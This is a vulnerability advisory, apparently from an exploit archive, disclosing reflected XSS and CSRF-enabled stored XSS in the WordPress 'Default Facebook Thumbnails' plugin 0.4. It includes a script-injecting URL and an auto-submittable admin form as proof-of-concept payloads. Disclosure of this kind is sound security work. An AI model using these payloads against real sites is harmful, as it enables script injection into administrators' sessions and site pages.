exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting
Posted Jul 30, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Default Facebook Thumbnails plugin version 0.4 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
SHA-256 | c1e875c1252c9663ebb3031bd1c389cd7aaa30b045abfe7fd06e8edc139074ee

WordPress Default Facebook Thumbnails 0.4 Cross Site Scripting

Change Mirror Download
Title: WordPress 'Default Facebook Thumbnails' Plugin 
Version: 0.4
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-13
Download:
- https://wordpress.org/plugins/default-facebook-thumbnail/
- https://plugins.svn.wordpress.org/default-facebook-thumbnail/
Notified WordPress: 2015-06-21
==========================================================

## Plugin description
==========================================================
This plugin adds a og:image tag to your head with the input/upload of the image in the settings.

## XSS/CSRF Vulnerabilities
==========================================================
The request URI is echo'ed into the HTML page without sanitization. This can be exploited with a direct link to the vulnerable file (keep in mind that most modern browsers encode the url).

PoC:
[URL]/wp-content/plugins/default-facebook-thumbnail/fb_thumbnail_admin.php?/"><script>alert(1)</script>

The "Upload Image or URL" field in the admin-settings page is vulnerable to stored XSS. This can be exploited by utilizing a CSRF vulnerability.

PoC:
Log in as admin and submit this form:

<form method="POST" action="http://[URL]/wp-admin/admin.php?page=fb_thumbs">
<text>upload image: </text>
<input type="text" name="upload_image" value=""><script>alert(1)</script>"><br />
<text>fb_thumb_hidden: </text>
<input type="text" name="fb_thumb_hidden" value="Y" readonly><br />
<input type="submit">
</form>


## Solution
==========================================================
No fix available

==========================================================
XSS vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close